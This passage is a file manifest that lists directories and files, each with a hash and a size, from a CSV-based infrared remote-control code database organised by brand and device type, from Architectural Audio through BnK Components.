Audio/Multi-Zone Receiver -F:54b85f880279b460fab4d33cee347b97:394:infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir -F:74a6e5a3ed9497e4cfa5389129c1ee01:2776:infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir -D:infrared/_CSV-IRDB_/Aristona/Unknown_5525 -D:infrared/_CSV-IRDB_/Aristona/Unknown_9067 -F:6776830e27439d4cc10971f95f7fe627:3236:infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir -F:7b88305d8b803ee4b2ba0bc379dbd279:6052:infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir -D:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox -F:f3a2feb58ca214fce8aa45b44147b596:2735:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir -F:9ee314c6f584979eaffcb7e81316d1e1:2735:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir -F:9d7b937deb65f592cc12e740c87f607c:2735:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir -D:infrared/_CSV-IRDB_/Askey/Unknown_AS-218 -F:8fd522c47e8e7a49fa35feabc828ca8e:2689:infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir -D:infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital -F:33444615468e4146c2900cae6961f47c:5115:infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir -D:infrared/_CSV-IRDB_/Astro/Satellite -D:infrared/_CSV-IRDB_/Astro/Unknown_ASR340 -F:a6fe8b5aa66e3ee8aa90e4d0cdf880c0:3595:infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir -F:18c0b43edda7d67b2b7177699aadf89e:2529:infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir -D:infrared/_CSV-IRDB_/Asus/Unknown_Digital -D:infrared/_CSV-IRDB_/Asus/Unknown_RC1974502 -D:infrared/_CSV-IRDB_/Asus/Unknown_TVBox -F:f927d841cfd50ff072fa6a2f1cfd6110:1039:infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir -F:3504fc437c3e3bc5a571b7bf20f8287d:4126:infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir -F:d3e1570dd317b8fe36587f7f89724107:2864:infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir -D:infrared/_CSV-IRDB_/Aten/Unknown_VS-431 -F:0695f02d13f83f6a870534a874466ccb:557:infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir -D:infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH -F:fcfff864a3143246558e79f8d660fbae:2865:infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir -D:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor -F:36af4c2848b045329e3f09e33fab4cc3:1885:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir -F:79030bffdcf6067974913410601d55d7:1433:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir -F:e5df802b67b8c056b37e195d80628ce4:205:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir -D:infrared/_CSV-IRDB_/Atlas/Unknown_8776 -F:b0a858af43d4f0870c4cf85020922edf:2553:infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir -D:infrared/_CSV-IRDB_/Atlona/Matrix Switcher -D:infrared/_CSV-IRDB_/Atlona/Switcher -F:bcd9535f2a3e99ba0f9182e90bf67390:5861:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir -F:ccdfb4c15e764965c69b49f3c964a9dc:1691:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir -F:7d25e4657cf54c65b5769924a6099f57:451:infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir -D:infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier -D:infrared/_CSV-IRDB_/Audio Access/Zone Controller -F:f611fa34e0260a543695de5a77c6a422:6013:infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir -F:905327b49e7351f64f70c9a5a9fe4523:1511:infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir -F:1743839b542aa4b4a9772351f967362f:210:infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir -D:infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher -D:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth -D:infrared/_CSV-IRDB_/Audio Authority/Switcher -F:0bd35a3d2a2dc5ca1c17f9bae1821da7:451:infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir -F:ec2ce1b821bb242145185cfa15df61a9:2113:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir -F:96f82eb75ce462e6fa65db05939d1dfd:3256:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir -F:5ee95b9040f14dd5caa04e36ce000d78:1992:infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir -D:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier -D:infrared/_CSV-IRDB_/Audio Control/Processor -D:infrared/_CSV-IRDB_/Audio Control/Receiver -F:a55e04c39ccd88ea414c9a09b060455d:7389:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir -F:42813354d12a50e66381b4d4fb2919dd:1396:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir -F:8cab0059072b17f4cb4ecde378e62f6f:2192:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir -F:725785a7a1f498877da756cfd4fa2655:5372:infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir -F:a6eb1055516c9f7fff1012507ecb86e9:5742:infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir -F:8eb93d29c016c08730cda5985a87996d:2141:infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir -F:8e0b348fe584fde2492b8e03852e46a7:2565:infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir -D:infrared/_CSV-IRDB_/Audio Refinement/Amplifier -D:infrared/_CSV-IRDB_/Audio Refinement/CD Player -D:infrared/_CSV-IRDB_/Audio Refinement/Tuner -F:ab51bcf0e2c9075c28713442e707d1c0:1715:infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir -F:01be96e312b738d4e9994bc06c74f592:815:infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir -F:251a776991253c26c815f02763106df8:565:infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir -D:infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier -F:fd642b32e360b7234693798c52ccd2c4:7332:infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir -D:infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three -F:f8d5d7e8b35cc8bd89b137532979b098:1333:infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir -D:infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T -F:5f988b066a28ad072bc9889afde7de4a:3076:infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir -D:infrared/_CSV-IRDB_/Audiovox/Monitor -D:infrared/_CSV-IRDB_/Audiovox/Unknown_SIR -D:infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius -F:fc2ee0699006576a3baf8a5ff3b33360:629:infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir -F:aacc086d5a01b00af5fca55518295224:2148:infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir -F:075bd173f1fc1596b8223341424a3aa1:1874:infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir -D:infrared/_CSV-IRDB_/Austar/Cable Box -F:62a59c27565d63cb66ac0b51cc3997ed:2330:infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir -D:infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair -F:cbc96fde383de0eb967137d73b27d102:4214:infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir -D:infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5 -D:infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia -D:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7 -D:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV -F:d7ad5f181dfbc6f049fe41abbacf8872:2698:infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir -F:72f59b68ff6b7eeb2576f40a212dbbcc:2785:infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir -F:b5d9099ab959a889794f940710be3b60:3062:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir -F:360df35b515e5f4321e4ee86f2888cd6:3954:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir -D:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609 -D:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501 -F:eba89f676e1835d676f6557fc041bc43:1383:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir -F:c238503b30810f58117c2260fe80df57:2501:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir -D:infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch -F:684ebf9f126a74f5ca2a6c71ad9f3555:815:infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir -D:infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075 -F:f02f446fbfc99c0172de5653fcb719eb:2961:infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir -D:infrared/_CSV-IRDB_/Axonix/DVD Player -D:infrared/_CSV-IRDB_/Axonix/Media Server -D:infrared/_CSV-IRDB_/Axonix/MediaMax -F:895043ecdc75197f53e29d35fa4a08b9:5941:infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir -F:f12e6512a7ff8ee94843e2bc98748bb6:3087:infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir -F:821f859f33b2badc24f966fb4fdd95bc:6684:infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir -D:infrared/_CSV-IRDB_/Ayre/Amplifier -F:a589f217a48486989ce3a8cfdd6aae3f:1765:infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir -D:infrared/_CSV-IRDB_/AzBox/Unknown_S700 -F:d13f01aa2254d75df39b4cca9379f467:3848:infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir -D:infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier -F:cfe3a228485a8e285273536fc4e8d854:1182:infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir -D:infrared/_CSV-IRDB_/BBK/Unknown_PV400s -D:infrared/_CSV-IRDB_/BBK/Unknown_Popcorn -D:infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R -F:368503a33e44e9b9fc47bc2ecb2c6d6d:2926:infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir -F:4fef912389220c79258249d3a7e17e8a:4507:infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir -F:bd7d7edcad1505587f7668f4d3de7512:4444:infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir -D:infrared/_CSV-IRDB_/BORK/Unknown_DV -F:ad53a8565a09a2a0cf13f9c66ddf6509:4456:infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir -D:infrared/_CSV-IRDB_/BTX/Drapery Controller -F:5811dc8f0d9f7fe6fd9cb0c9bd79d486:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir -F:7ed66713d1ff6c722c92a88b85695fdd:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir -F:ae2b34191976328d0daf1fc2ab902a21:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir -F:f4675af6a85b8da592022368131e9b2f:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir -F:59d0a9a318b418f713c7e9b0ccdecb41:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir -F:ef983621bbc6cb1a17327b8dd8f7391c:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir -F:f0822c0704736804f8224de6d7e8022f:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir -F:8021b7772bc8e664e6dbbefcebf0fe81:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir -F:ff5e425b0571c38296525b9de0a72a69:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir -F:8f44fb24341756aaee4abb759467ddd3:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir -F:40746cab21fb933bdad0f1baeeeca040:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir -F:1a594a66b392e6ff36a5d12aa9e34d77:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir -D:infrared/_CSV-IRDB_/Bang Olufsen/CD Player -F:cc67dee11504ea72f88f90c1070c11f7:557:infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir -D:infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5 -D:infrared/_CSV-IRDB_/Barco/Video Projector -F:3ef349a96da0a78a643997bdafd0bbed:4450:infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir -F:6edfffd486617200b7038632f0e4a528:3818:infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir -F:1bb1861993148200664181c7af7c8709:3640:infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir -D:infrared/_CSV-IRDB_/Barix/CD Jukebox -F:935ec4b33c40b305a9b02ee4953756bd:2062:infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir -D:infrared/_CSV-IRDB_/Beko/Unknown_Beko -D:infrared/_CSV-IRDB_/Beko/Unknown_TV -F:da5eec424f5d13e70527036f29950f51:2389:infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir -F:fad79cb45a35447843297bf10d830542:3023:infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir -D:infrared/_CSV-IRDB_/Belkin/Unknown_F5X019 -F:df08a12f3993d7c2fb6f16a7e11a8a30:1613:infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir -D:infrared/_CSV-IRDB_/Bell/Satellite -F:d6001ac68adf67194b85f95f18f75a1b:3477:infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir -F:b21cb65b9947ecb778fd38bd86c28288:1986:infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir -F:c10c69c863ad1e8bc31272958a2b7f4c:2408:infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir -F:41ce5a54494454b5d75166272d68c803:988:infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir -F:dcb46841cf5d250e91c199cfc439d338:730:infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir -F:bffcb402fdab3882716428923ef6c8e6:993:infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir -F:b87c7b7ef9457bb3d405538927fe0706:215:infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir -F:abc63a96df3cf8a9da8e65cbc1eff8e2:118:infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir -F:563ac364b8bc4c537bddedc5a6676d64:472:infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir -F:4b7e91ea5925b8b1d0b85a49f1efd696:127:infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir -D:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR -D:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite -F:71b4d6ca44217c87de3a86c720bf92d0:3111:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir -F:e7038baf89297d8cbba3b07a7ec6e84c:1333:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir -F:4651feb359604ce51f17802bb0ee4ddc:126:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir -F:9bf60c2c14346ba501992a12d4cdb886:118:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir -F:cd45c58ec5b04b4bb7bc4637815d8e3e:2438:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir -F:8547d53363addbb7134f29d2c3f9592f:720:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir -F:df64b88740cfb10e50df3a9327cdd344:215:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir -D:infrared/_CSV-IRDB_/Bellagio/Unknown_P807 -F:8ad66a09068278ca2d36e3d7dc0d9ec4:3951:infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir -D:infrared/_CSV-IRDB_/BenQ/DLP Projector -D:infrared/_CSV-IRDB_/BenQ/Projector -D:infrared/_CSV-IRDB_/BenQ/Unknown_DV3080 -D:infrared/_CSV-IRDB_/BenQ/Unknown_MP620 -D:infrared/_CSV-IRDB_/BenQ/Unknown_W1070 -F:1febf129e70c5dd90439b7161b4cc343:1343:infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir -F:9775d9f3d2ec7a4fa04f12fd3083e456:1858:infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir -F:ba9921a97d32eb6b14c924128b1ff6ea:209:infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir -F:1df098bb17f65f4e5274de086ed09ad8:3502:infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir -F:55c84e25e07ee0e5269521c363c3789c:1491:infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir -F:6abc4b0be57b93992f286ef3df57d0f6:3256:infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir -D:infrared/_CSV-IRDB_/Bench/Unknown_kh2800 -F:814ebdd2c9afe6d2653527d757ecc483:2233:infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir -D:infrared/_CSV-IRDB_/Big Ben/Game Console -F:4356e481e7217356ea5f4aea9dbe02e2:1420:infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir -D:infrared/_CSV-IRDB_/Bluesky/Unknown_DV900 -F:0667507c06f16492b5f3e8d44ebcd6db:2964:infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir -D:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp -D:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver -D:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher -D:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver -D:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier -D:infrared/_CSV-IRDB_/BnK_Components/Receiver -D:infrared/_CSV-IRDB_/BnK_Components/Surround Processor -D:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier -D:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2 -F:98f306eb8ced756e1718b01d6d74dbfd:118:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir -F:df13f71e0601d6dc7b7bad92013b1d9c:7644:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir -F:f26fc0b7905945c1f02ca3b7930f9a8b:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir -F:a80ae20cd7e93ad709365e8644620042:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir -F:68e3758f0cb9ca42f282173d147ca0b4:4738:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir -F:3a4df770e25dea0fb68ffb791a627f49:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir -F:68d798a310891c85655308d1d121329f:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir -F:9c4bf2ff174c2bce7bad3d1fb314c36c:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir -F:288db218e7a3e3d00e7a58e2afda49e9:9450:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir -F:e57c8ee4c33ebe6e64573e995a64ef47:6456:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir -F:2d344ec6cec6e2147584392ad36fa197:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir -F:a934901756db0a780e1d8fe6b3a74bc7:5571:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir -F:a2e5530b7c6a6f08252d02808dd0e028:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir -F:b37488775ad0e013ffb2c361ab46005d:4346:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir -F:66fd647d189975868b4ae3316882e0d3:4657:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir -F:56035adc45e743d47f79f57b77e2fee4:4674:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir -F:20d46b3461356dc0c18be7b00b325877:3655:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir -F:e29a29d1387b780a9b4c88ea1a883261:3160:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir -F:847b2b505225d146bb48fe43b9148218:4532:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir -F:9509a0371e9645f9a178ef3cd9013adf:2805:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir -F:d0ae023ee9c23c4bf92d31a7fb13c584:3806:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir -F:a80ae20cd7e93ad709365e8644620042:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir -F:5d22de6493a3a3f21e6444140a1a8bba:3289:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir -F:b7e69fc3fd457ea0ca9288f27f264b41:3807:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir -F:3ae87021745a358a08cd5509091ccba8:2678:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir -F:4aa9be3fd0b161cd44f6bdc7eaa86662:4817:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir -F:de044e824d329902f7e2bad9100c0745:3244:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir -F:e8c92fcdd180ab21c1374c4bf730a629:3984:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir -F:9f101a85085540cd37cabf94a9b2be0c:3483:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir -F:02324e6c4dc34847f92aaae1ae78998a:4937:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir -F:81f923960711e9e8cc0aae8bc8cd7945:3001:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir -F:3a4df770e25dea0fb68ffb791a627f49:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir -F:8697a581f0fb2e60f918427c1d567650:3884:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir -F:5de8e6ca42970391477bd89d43cd5cc3:576:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir -F:0021d0483d1472d432be790df51efc79:3634:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir -F:508f42b64787aae2f66a4fd57698e302:5385:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir -F:3eabdc3f38b1dd0fdb8e6488ce9a9682:2687:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir -F:0cde0ee7469b03e3681e550ac8a6e932:3571:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir -F:b8ffd7565b1005dfd9a539a81ad50586:3965:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir -F:3860dc306fcdaf802142be619aff7d05:7428:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir -F:8d21a72bd8ce8275f7ab1902ce0a18fa:8421:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir -F:a0db51c4a3956e06a9648547c95e73f2:2916:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir -F:2d344ec6cec6e2147584392ad36fa197:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir -F:f3980c75db09267b588a4dc7004c8394:3553:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir -F:60d196c5b0d0b6c3c962fa72d8b7cc57:3244:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir -F:b468af0b0a63de52a09bfc14106dcb3b:3164:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir -F:b5e4c8eed0d9d684a104c0cabbdd1852:4446:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir -F:8e2ed622aa2cda349cd44df3d29cfe3b:1147:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir -F:b37488775ad0e013ffb2c361ab46005d:4346:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir -F:d0d66f2509df4171874c3e1a35705ec0:3632:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir -F:f39d24fc37c2eec989385b88eb4c87ca:3722:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir -F:b6dbcc5f8ea8b6f01b805ab8189c3087:2673:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir -F:7a13e050ad8ab67b36e8ca0b02e25478:3457:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir -F:cd58f6280cd2c58690d8f43bbb18ed05:3726:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir -F:948020f4832bd8f7f31b909144fad026:1228:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir -F:56035adc45e743d47f79f57b77e2fee4:4674:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir -F:72b3ba6e870e9f33cd007047e4f7a0fc:3462:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir -F:d894aae0a4d5cc6db3b7bc3a69b9c303:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir -F:8322dd9525121abdc7e61f1cce8a869c:5078:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir -F:5277ca4ec25b49d7757dfe4713170d52:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir -F:6afa40c6c21c60f73d0cf040007c0486:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir -F:51182acef88361509b2caa50043cce95:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir -F:2b7e7ab575545be34e00e04ba92baf1c:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir -F:6f4c0a2a01d72b4c8529b0693de7e0ae:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir -F:960655c4205e8e28fae9f16605f026d7:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir -F:0db4af57010ccb352d5dae4c563f6050:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir -F:408c71948ab4d110aae0cf18fd5c4be9:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir -F:291dc892b59ac8235d782b03a489e6e8:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir -F:8755f451cb160ed3e7fe1b8031f4a553:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir -F:9f91995f41c1df1110cd99f5490956cb:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir -F:c7bfebdf766e13410b72012720b49b51:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir -F:4dde0e8337fb4fc1f94948e5aea32c21:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir -F:c4cbb36e977a764cf92ce77d73ffc017:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir -F:9ccb3ac1264c8295f1a88b0fbde47a08:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir -F:b788f0b5a2c11b7eafb85aaf8ce11b0b:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir -F:522a674a62782cbb64befa57e2a4105d:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir -F:a1f74fecdce2779c641c8189ea05c87a:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir -F:777d5e08713a66542602a0f2e3426de7:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir -F:05210c18c22240085d4fbd04e87801d0:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir 